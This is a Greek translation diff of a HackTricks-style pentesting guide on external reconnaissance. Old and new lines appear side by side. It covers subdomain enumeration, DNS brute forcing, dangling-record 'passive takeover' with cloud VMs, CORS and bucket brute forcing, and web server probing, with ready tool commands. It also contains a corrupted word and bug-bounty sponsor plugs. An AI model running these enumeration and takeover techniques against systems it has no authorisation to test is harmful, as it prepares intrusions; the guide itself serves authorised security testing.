Για να ανανεώσετε όλα τα πιστοποιητικά τομέων στον διακομιστή. Αυτό σημαίνει ότι ακόμη και αν η Αρχή Πιστοποίησης που χρησιμοποιείται γι' αυτό δεν ορίζει τον χρόνο που δημιουργήθηκε στον Χρόνο Ισχύος, είναι δυνατόν να **βρείτε τους τομείς που ανήκουν στην ίδια εταιρεία στα αρχεία διαφάνειας πιστοποιητικών**.\
Για να ανανεώσετε όλα τα πιστοποιητικά τομέων στον διακομιστή. Αυτό σημαίνει ότι ακόμα και αν ο Φορέας Πιστοποίησης που χρησιμοποιείται για αυτό δεν ορίζει τον χρόνο που δημιουργήθηκε στον Χρόνο Ισχύος, είναι δυνατόν να **βρεθούν τομείς που ανήκουν στην ίδια εταιρεία στα αρχεία διαφάνειας πιστοποιητικών**.\
Ρίξτε μια ματιά σε αυτό το [**άρθρο για περισσότερες πληροφορίες**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Πληροφορίες DMARC για τα Email
### Πληροφορίες DMARC για το Email
Μπορείτε να χρησιμοποιήσετε μια ιστοσελίδα όπως η [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ή ένα εργαλείο όπως το [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) για να βρείτε **τομείς και υποτομείς που μοιράζονται τις ίδιες πληροφορίες dmarc**.
### **Παθητική Κατάληψη**
Φαίνεται ότι είναι συνηθισμένο για άτομα να αναθέτουν υποτομείς σε διευθύνσεις IP που ανήκουν σε παρόχους νέφους και σε κάποιο σημείο **χάνουν αυτήν τη διεύθυνση IP αλλά ξεχνούν να αφαιρέσουν τον εγγραφή DNS**. Επομένως, απλά **εκκινώντας ένα VM** σε ένα νέφος (όπως το Digital Ocean) θα **καταλάβετε πραγματικά κάποιους υποτομείς**.
Φαίνεται ότι είναι συνηθισμένο για ανθρώπους να αναθέτουν υποτομείς σε διευθύνσεις IP που ανήκουν σε παρόχους νέφους και σε κάποιο σημείο **χάνουν αυτήν τη διεύθυνση IP αλλά ξεχνούν να αφαιρέσουν τον εγγραφή DNS**. Επομένως, απλά **εκκινώντας ένα VM** σε ένα νέφος (όπως το Digital Ocean) θα **καταλάβετε πραγματικά κάποιους υποτομείς**.
Αυτή η [**ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία γι' αυτό και προτείνει ένα σενάριο που **εκκινά ένα VM στο DigitalOcean**, **λαμβάνει** τη **διεύθυνση IPv4** της νέας μηχανής, και **ψάχνει στο Virustotal για εγγραφές υποτομέων** που το δείχνουν.
Αυτή η [**ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία γι' αυτό και προτείνει ένα σενάριο που **εκκινεί ένα VM στο DigitalOcean**, **λαμβάνει** τη **διεύθυνση IPv4** της νέας μηχανής, και **ψάχνει στο Virustotal για εγγραφές υποτομέων** που το δείχνουν.
### **Άλλοι τρόποι**
@ -188,7 +188,7 @@ return fhash
Καθώς γνωρίζετε ήδη το όνομα του οργανισμού που κατέχει τον χώρο IP. Μπορείτε να αναζητήσετε με βάση αυτά τα δεδομένα στο shodan χρησιμοποιώντας: `org:"Tesla, Inc."` Ελέγξτε τους εντοπισμένους οικοδεσπότες για νέους αναπάντητους τομείς στο πιστοποιητικό TLS.
Θα μπορούσατε να έχετε πρόσβαση στο **πιστοποιητικό TLS** της κύριας ιστοσελίδας, να λάβετε το **όνομα του οργανισμού** και στη συνέχεια να αναζητήσετε αυτό το όνομα μέσα στα **πιστοποιητικά TLS** όλων των ιστοσελίδων που γνωρίζετε από το **shodan** με το φίλτρο: `ssl:"Tesla Motors"` ή να χρησιμοποιήσετε ένα εργαλείο όπως το [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
Θα μπορούσατε να έχετε πρόσβαση στο **πιστοποιητικό TLS** της κύριας ιστοσελίδας, να λάβετε το **όνομα του Οργανισμού** και στη συνέχεια να αναζητήσετε αυτό το όνομα μέσα στα **πιστοποιητικά TLS** όλων των ιστοσελίδων που γνωρίζετε από το **shodan** με το φίλτρο: `ssl:"Tesla Motors"` ή να χρησιμοποιήσετε ένα εργαλείο όπως το [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
@ -196,13 +196,13 @@ return fhash
### **Αναζήτηση ευπαθειών**
Ελέγξτε για κάποια [κατάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία **να χρησιμοποιεί έναν τομέα** αλλά **να έχει χάσει την ιδιοκτησία**. Απλά καταχωρίστε τον (αν είναι αρκετά φθηνός) και ενημερώστε την εταιρεία.
Ελέγξτε για κάποια [κατάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία **χρησιμοποιεί έναν τομέα** αλλά **έχασε την ιδιοκτησία**. Απλά το καταχωρείτε (αν είναι αρκετά φθηνό) και ενημερώνετε την εταιρεία.
Αν βρείτε κάποιον **τομέα με διαφορετική διεύθυνση IP** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να πραγματοποιήσετε μια **βασική ανίχνευση ευπαθειών** (χρησιμοποιώντας το Nessus ή το OpenVAS) και μια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για "επίθεση" σε αυτές**.\
_Σημειώστε ότι μερικές φορές ο τομέας φιλοξενείται μέσα σε μια διεύθυνση IP που δεν ελέγχεται από τον πελάτη, οπότε δεν εμπίπτει στο πεδίο εφαρμογής, πρέπει να είστε προσεκτικοί._
Αν βρείτε οποιονδήποτε **τομέα με διαφορετική διεύθυνση IP** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, πρέπει να πραγματοποιήσετε μια **βασική ανίχνευση ευπαθειών** (χρησιμοποιώντας το Nessus ή το OpenVAS) και μια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που λειτουργούν, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για "επίθεση" σε αυτές**.\
_Σημειώστε ότι μερικές φορές ο τομέας φιλοξενείται μέσα σε μια διεύθυνση IP που δεν ελέγχεται από τον πελάτη, οπότε δεν εμπίπτει στο πεδίο εφαρμογής, προσέξτε._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα ανταμοιβής ευπαθειών δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε ανταμοιβές μέχρι **$100,000**!
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -281,7 +281,7 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov
## This is the API the crobat tool will use
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
```
* [**Δωρεάν API του JLDC**](https://jldc.me/anubis/subdomains/google.com)
* [**JLDC δωρεάν API**](https://jldc.me/anubis/subdomains/google.com)
```bash
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
```
@ -335,18 +335,18 @@ python3 censys-subdomain-finder.py tesla.com
```bash
python3 DomainTrail.py -d example.com
```
* [**securitytrails.com**](https://securitytrails.com/) έχει ένα δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP
* [**securitytrails.com**](https://securitytrails.com/) έχει μια δωρεάν API για αναζήτηση subdomains και ιστορικό IP
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Αυτό το έργο προσφέρει **δωρεάν όλα τα υποτομέα που σχετίζονται με προγράμματα ανταμοιβής ευρημάτων σφαλμάτων**. Μπορείτε να έχετε πρόσβαση σε αυτά τα δεδομένα χρησιμοποιώντας επίσης το [chaospy](https://github.com/dr-0x0x/chaospy) ή ακόμη να έχετε πρόσβαση στο εύρος που χρησιμοποιείται από αυτό το έργο [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Αυτό το έργο προσφέρει **δωρεάν όλα τα subdomains που σχετίζονται με προγράμματα ανταμοιβής ευρημάτων σφαλμάτων**. Μπορείτε να έχετε πρόσβαση σε αυτά τα δεδομένα χρησιμοποιώντας επίσης το [chaospy](https://github.com/dr-0x0x/chaospy) ή ακόμη να έχετε πρόσβαση στο εύρος που χρησιμοποιείται από αυτό το έργο [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Μπορείτε να βρείτε μια **σύγκριση** πολλών από αυτά τα εργαλεία εδώ: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **Βίαιη δύναμη DNS**
### **Δύναμη DNS Brute**
Ας προσπαθήσουμε να βρούμε νέους **υποτομείς** με βίαιη δύναμη σε διακομιστές DNS χρησιμοποιώντας πιθανά ονόματα υποτομέων.
Ας προσπαθήσουμε να βρούμε νέα **subdomains** με brute-force σε διακομιστές DNS χρησιμοποιώντας πιθανά ονόματα subdomain.
Για αυτή την ενέργεια θα χρειαστείτε μερικές **κοινές λίστες λέξεων υποτομέων όπως**:
Για αυτή την ενέργεια θα χρειαστείτε μερικές **κοινές λίστες λέξεων subdomains όπως**:
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -356,9 +356,9 @@ python3 DomainTrail.py -d example.com
Και επίσης IPs καλών αναλυτών DNS. Για να δημιουργήσετε μια λίστα αξιόπιστων αναλυτών DNS μπορείτε να κατεβάσετε τους αναλυτές από [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) και να χρησιμοποιήσετε το [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) για να τους φιλτράρετε. Ή μπορείτε να χρησιμοποιήσετε: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Τα πιο συνιστώμενα εργαλεία για βίαιη δύναμη DNS είναι:
Τα πιο συνιστώμενα εργαλεία για τη δύναμη DNS brute-force είναι:
* [**massdns**](https://github.com/blechschmidt/massdns): Αυτό ήταν το πρώτο εργαλείο που πραγματοποίησε μια αποτελεσματική βίαιη δύναμη DNS. Είναι πολύ γρήγορο, αλλά είναι επιρρεπές σε Ϩενεργά θετικά.
* [**massdns**](https://github.com/blechschmidt/massdns): Αυτό ήταν το πρώτο εργαλείο που πραγματοποίησε μια αποτελεσματική δύναμη DNS brute-force. Είναι πολύ γρήγορο, αλλά είναι επιρρεπές σε Ϩενεργά θετικά.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@ -382,14 +382,14 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### Δεύτερος Γύρος Βίας DNS Brute-Force
Αφού βρείτε υποτομές χρησιμοποιώντας ανοιχτές πηγές και brute-forcing, μπορείτε να δημιουργήσετε τροποποιήσεις των υποτομών που βρέθηκαν για να προσπαθήσετε να βρείτε ακόμα περισσότερες. Πολλά εργαλεία είναι χρήσιμα για αυτόν τον σκοπό:
Αφού βρείτε υποτομές χρησιμοποιώντας ανοιχτές πηγές και brute-forcing, μπορείτε να δημιουργήσετε τροποποιήσεις των υποτομών που βρέθηκαν για να προσπαθήσετε να βρείτε ακόμη περισσότερες. Πολλά εργαλεία είναι χρήσιμα για αυτόν τον σκοπό:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Δεδομένων των τομέων και των υποτομέων, δημιουργεί παραλλαγές.
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Δεδομένων των τομέων και των υποτομών παράγει μεταθέσεις.
```bash
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Δεδομένων των domains και subdomains δημιουργείτε παραλλαγές.
* Μπορείτε να λάβετε τις παραλλαγές του goaltdns **wordlist** [**εδώ**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
* [**goaltdns**](https://github.com/subfinder/goaltdns): Δεδομένων των domains και subdomains δημιουργήστε παραλλαγές.
* Μπορείτε να λάβετε το **wordlist** με τις παραλλαγές του goaltdns [**εδώ**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
@ -397,12 +397,12 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Εκτός από τη δημιουργία παραλλαγών υποτομέων, μπορεί επίσης να προσπαθήσει να τις επιλύσει (αλλά είναι καλύτερο να χρησιμοποιήσετε τα προηγούμενα σχολιασμένα εργαλεία).
* Μπορείτε να λάβετε τον κατάλογο λέξεων για τις παραλλαγές του altdns **εδώ** (https://github.com/infosec-au/altdns/blob/master/words.txt).
* [**altdns**](https://github.com/infosec-au/altdns): Εκτός από τη δημιουργία μεταθέσεων υποτομέων, μπορεί επίσης να προσπαθήσει να τις επιλύσει (αλλά είναι καλύτερο να χρησιμοποιήσετε τα προηγούμενα σχολιασμένα εργαλεία).
* Μπορείτε να λάβετε τον κατάλογο λέξεων **wordlist** των μεταθέσεων του altdns **εδώ** (https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
* [**dmut**](https://github.com/bp0lr/dmut): Ένα άλλο εργαλείο για να εκτελέσετε περιστροφές, μεταλλάξεις και αλλαγές υποτομέων. Αυτό το εργαλείο θα εκτελέσει βίαια το αποτέλεσμα (δεν υποστηρίζει το wildcard dns).
* [**dmut**](https://github.com/bp0lr/dmut): Ένα άλλο εργαλείο για να εκτελέσετε περιστροφές, μεταλλάξεις και αλλαγές στα υποτομεία. Αυτό το εργαλείο θα εκτελέσει βίαιη επίθεση για το αποτέλεσμα (δεν υποστηρίζει τον καρτεσιανό πολλαπλασιασμό dns).
* Μπορείτε να λάβετε τη λίστα λέξεων περιστροφών του dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
@ -418,13 +418,13 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ είναι ένα εργαλείο ανίχνευσης υποτομέων που συνοδεύεται από έναν απλό αλλά αποτελεσματικό αλγόριθμο καθοδήγησης απόκρισης DNS. Χρησιμοποιεί ένα σύνολο παρεχόμενων δεδομένων εισόδου, όπως μια προσαρμοσμένη λίστα λέξεων ή ιστορικά αρχεία DNS/TLS, για να συνθέσει με ακρίβεια περισσότερα αντίστοιχα ονόματα τομέων και να τα επεκτείνει ακόμα περισσότερο σε έναν βρόχο βασισμένο στις πληροφορίες που συλλέγονται κατά τη διάρκεια της σάρωσης DNS.
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ είναι ένα εργαλείο ανίχνευσης υποτομέων που συνδυάζεται με έναν απλό αλλά αποτελεσματικό αλγόριθμο καθοδήγησης απόκρισης DNS. Χρησιμοποιεί ένα σύνολο παρεχόμενων δεδομένων εισόδου, όπως μια προσαρμοσμένη λίστα λέξεων ή ιστορικά αρχεία DNS/TLS, για να συνθέσει με ακρίβεια περισσότερα αντίστοιχα ονόματα τομέων και να τα επεκτείνει ακόμα περισσότερο σε έναν βρόχο βασισμένο στις πληροφορίες που συλλέγονται κατά τη διάρκεια της σάρωσης DNS.
```
echo www | subzuf facebook.com
```
### **Ροή Ανακάλυψης Υποτομέων**
Ελέγξτε αυτή την ανάρτηση στο blog που έγραψα σχετικά με το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από ένα τομέα χρησιμοποιώντας **τις διαδικασίες του Trickest** ώστε να μην χρειάζεται να εκκινήσω χειροκίνητα πολλά εργαλεία στον υπολογιστή μου:
Ελέγξτε αυτή την ανάρτηση στο blog που έγραψα σχετικά με το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από ένα τομέα χρησιμοποιώντας **τις διαδικασίες του Trickest** ώστε να μην χρειάζεται να εκκινήσετε χειροκίνητα πολλά εργαλεία στον υπολογιστή μου:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -436,7 +436,7 @@ echo www | subzuf facebook.com
#### OSINT
Μπορείτε να βρείτε μερικούς **VHosts σε IPs χρησιμοποιώντας το** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ή άλλα APIs**.
Μπορείτε να βρείτε μερικούς **VHosts σε IPs χρησιμοποιώντας** το [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ή άλλα APIs**.
**Brute Force**
@ -458,33 +458,33 @@ VHostScan -t example.com
Με αυτήν την τεχνική ενδέχεται ακόμα και να έχετε πρόσβαση σε εσωτερικά/κρυφά σημεία πρόσβασης.
{% endhint %}
### **Βία Εξαναγκασμού CORS**
### **Βία CORS Brute Force**
Μερικές φορές θα βρείτε σελίδες που επιστρέφουν μόνο το κεφαλίδα _**Access-Control-Allow-Origin**_ όταν ένα έγκυρο τομέα/υποτομέα έχει οριστεί στο κεφαλίδα _**Origin**_. Σε αυτά τα σενάρια, μπορείτε να καταχραστείτε αυτήν τη συμπεριφορά για να **ανακαλύψετε** νέους **υποτομείς**.
Μερικές φορές θα βρείτε σελίδες που επιστρέφουν μόνο το κεφαλίδα _**Access-Control-Allow-Origin**_ όταν ένα έγκυρο domain/subdomain έχει οριστεί στο κεφαλίδα _**Origin**_. Σε αυτά τα σενάρια, μπορείτε να εκμεταλλευτείτε αυτήν τη συμπεριφορά για να **ανακαλύψετε** νέα **υποτομείς**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **Βία Κάδων**
### **Βίαιη Δύναμη Κάδων**
Καθώς αναζητάτε **υποτομές**, πρέπει να παρατηρήσετε αν αυτές δείχνουν σε κάποιον τύπο **κάδου**, και σε αυτήν την περίπτωση [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Επίσης, αφού θα έχετε γνώση όλων των τομέων εντός του πεδίου εφαρμογής, δοκιμάστε να [**επιχειρήσετε βίαια ονόματα κάδων και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/).
Καθώς αναζητάτε **υποτομές**, πρέπει να παρατηρήσετε αν αυτές δείχνουν σε κάποιον τύπο **κάδου**, και σε αυτήν την περίπτωση [**ελέγξτε τις άδειες πρόσβασης**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Επίσης, αφού θα έχετε γνώση όλων των τομέων εντός του πεδίου εφαρμογής, δοκιμάστε να [**εξαναγκάσετε δυνητικά ονόματα κάδων και ελέγξτε τις άδειες πρόσβασης**](../../network-services-pentesting/pentesting-web/buckets/).
### **Παρακολούθηση**
Μπορείτε να **παρακολουθείτε** αν **νέες υποτομές** ενός τομέα δημιουργούνται με την παρακολούθηση των **Καταγραφών Διαφάνειας Πιστοποιητικών** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)κάνει.
Μπορείτε να **παρακολουθείτε** αν **νέες υποτομές** ενός τομέα δημιουργούνται με την παρακολούθηση των **Καταγραφών Διαφάνειας Πιστοποιητικού** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)κάνει.
### **Αναζήτηση ευπαθειών**
Ελέγξτε για πιθανές [**καταλήψεις υποτομών**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Αν η **υποτομή** δείχνει σε κάποιον **κάδο S3**, [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/).
Αν η **υποτομή** δείχνει σε κάποιον **κάδο S3**, [**ελέγξτε τις άδειες πρόσβασης**](../../network-services-pentesting/pentesting-web/buckets/).
Αν βρείτε οποιαδήποτε **υποτομή με διαφορετική IP** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, πρέπει να εκτελέσετε μια **βασική ανίχνευση ευπαθειών** (χρησιμοποιώντας το Nessus ή το OpenVAS) και μερικές [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για "επίθεση" σε αυτές**.\
Αν βρείτε οποιαδήποτε **υποτομή με διαφορετική IP** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, πρέπει να εκτελέσετε μια **βασική ανίχνευση ευπαθειών** (χρησιμοποιώντας το Nessus ή το OpenVAS) και μια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για "επίθεση" σε αυτές**.\
_Σημειώστε ότι μερικές φορές η υποτομή φιλοξενείται μέσα σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, προσέξτε._
## IPs
Στα αρχικά βήματα μπορεί να έχετε **βρει ορισμένους εύρος IP, τομείς και υποτομές**.\
Ήρθε η ώρα να **συγκεντρώσετε όλες τις IPs από αυτά τα εύρη και για τους **τομείς/υποτομές (ερωτήσεις DNS).**
Ήρθε η στιγμή να **συγκεντρώσετε όλες τις IPs από αυτά τα εύρη** και για τους **τομείς/υποτομές (ερωτήσεις DNS).**
Χρησιμοποιώντας υπηρεσίες από τα ακόλουθα **δωρεάν APIs** μπορείτε επίσης να βρείτε **προηγούμενες IPs που χρησιμοποιήθηκαν από τομείς και υποτομές**. Αυτές οι IPs ενδέχεται ακόμα να ανήκουν στον πελάτη (και ενδέχεται να σας επιτρέψουν να βρείτε [**παρακάμψεις CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
@ -494,35 +494,35 @@ _Σημειώστε ότι μερικές φορές η υποτομή φιλο
### **Αναζήτηση ευπαθειών**
**Σαρώστε όλες τις IPs που δεν ανήκουν σε CDNs** (καθώς πιθανότατα δεν θα βρείτε κάτι ενδιαφέρον εκεί). Στις υπηρεσίες που εκτιμήθηκαν μπορείτε να **βρείτε ευπαθείες**.
**Σαρώστε θύρες όλων των IPs που δεν ανήκουν σε CDN** (καθώς πιθανότατα δεν θα βρείτε κάτι ενδιαφέρον εκεί). Στις υπηρεσίες που ανακαλύφθηκαν ενδέχεται να είστε **σε θέση να βρείτε ευπαθείες**.
**Βρείτε ένα** [**οδηγό**](../pentesting-network/) **σχετικά με το πώς να σαρώσετε τους οικοδεσπότες.**
## Κυνήγι διακομιστών ιστού
> Έχουμε βρει όλες τις εταιρείες και τα περιουσιακά τους στοιχεία και γνωρίζουμε τα εύρη IP, τομείς και υποτομές εντός του πεδίου εφαρμογής. Ήρθε η ώρα να αναζητήσουμε διακομιστές ιστού.
> Έχουμε βρει όλες τις εταιρείες και τα περιουσιακά τους στοιχεία και γνωρίζουμε τους εύρους IP, τους τομείς και τις υποτομές εντός του πεδίου εφαρμογής. Ήρθε η στιγμή να αναζητήσουμε διακομιστές ιστού.
Στα προηγούμενα βήματα πιθανόν να έχετε ήδη εκτελέσει κάποια **αναγνώριση των IPs και των τομέων που ανακαλύφθηκαν**, οπότε μπορεί να έχετε **ήδη βρει όλους τους πιθανούς διακομιστές ιστού**. Ωστόσο, αν δεν το έχετε κάνει, τώρα θα δούμε μερικά **γρήγορα κόλπα για την αναζήτηση διακομιστών ιστού** εντός του πεδίου εφαρμογής.
Παρακαλώ, σημειώστε ότι αυτό θα είναι **προσανατολισμένο για την ανακάλυψη εφαρμογών ιστού**, οπότε θα πρέπει να **εκτελέσετε την ανίχνευση ευπαθειών** και **σάρωση θυρών** επίσης (**εάν επιτρέπεται** από το πεδίο εφαρμογής).
Παρακαλώ, σημειώστε ότι αυτό θα είναι **προσανατολισμένο προς την ανακάλυψη εφαρμογών ιστού**, οπότε θα πρέπει να **εκτελέσετε την ανίχνευση ευπαθειών** και **σάρωση θυρών** επίσης (**εάν επιτρέπεται** από το πεδίο εφαρμογής).
Ένας **γρήγορος τρόπος** για την ανακάλυψη **ανοιχτών θυρών** που σχετίζονται με **διακομιστές web** χρησιμοποιώντας το [**masscan μπορεί να βρεθεί εδώ**](../pentesting-network/#http-port-discovery).\
Ένα άλλο φιλικό εργαλείο για την αναζήτηση διακομιστών ιστού είναι το [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περνάτε μια λίστα τομέων και θα προσπαθήσει να συνδεθεί στη θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσετε και άλλες θύρες:
Ένα άλλο φιλικό εργαλείο για την αναζήτηση διακομιστών ιστού είναι το [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περνάτε μια λίστα τομέων και θα προσπαθήσει να συνδεθεί στη θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει και άλλες θύρες:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Στιγμιότυπα Οθόνης**
### **Στιγμιότυπα Οθονών**
Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο εύρος (μεταξύ των **IPs** της εταιρείας και όλων των **domains** και **subdomains**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα οθόνης από όλους αυτούς. Απλά με το **να ρίξετε μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **περίεργα** σημεία που είναι πιο **ευάλωτα**.
Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο εύρος (μεταξύ των **IPs** της εταιρείας και όλων των **domains** και **subdomains**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα οθονών από όλους αυτούς. Απλά με το **να ρίξετε μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **περίεργα** σημεία που είναι πιο **ευάλωτα**.
Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε το [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ή το [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Επιπλέον, μπορείτε να χρησιμοποιήσετε το [**eyeballer**](https://github.com/BishopFox/eyeballer) για να εκτελέσετε πάνω σε όλα τα **στιγμιότυπα οθόνης** και να σας πει τι είναι πιθανό να περιέχει ευπάθειες και τι όχι.
Επιπλέον, μπορείτε να χρησιμοποιήσετε το [**eyeballer**](https://github.com/BishopFox/eyeballer) για να εκτελέσετε πάνω σε όλα τα **στιγμιότυπα οθονών** και να σας πει **τι πιθανόν περιέχει ευπάθειες**, και τι όχι.
## Δημόσια Περιουσιακά Στοιχεία στο Cloud
Για να βρείτε πιθανά περιουσιακά στοιχεία στο cloud που ανήκουν σε μια εταιρεία θα πρέπει **να ξεκινήσετε με μια λίστα λέξεων-κλειδιών που ταυτίζουν αυτή την εταιρεία**. Για παράδειγμα, για μια εταιρεία κρυπτονομισμάτων μπορείτε να χρησιμοποιήσετε λέξεις όπως: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Για να βρείτε πιθανά περιουσιακά στοιχεία στο cloud που ανήκουν σε μια εταιρεία θα πρέπει να **ξεκινήσετε με μια λίστα λέξεων-κλειδιών που ταυτίζουν αυτή την εταιρεία**. Για παράδειγμα, για μια εταιρεία κρυπτονομισμάτων μπορείτε να χρησιμοποιήσετε λέξεις όπως: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
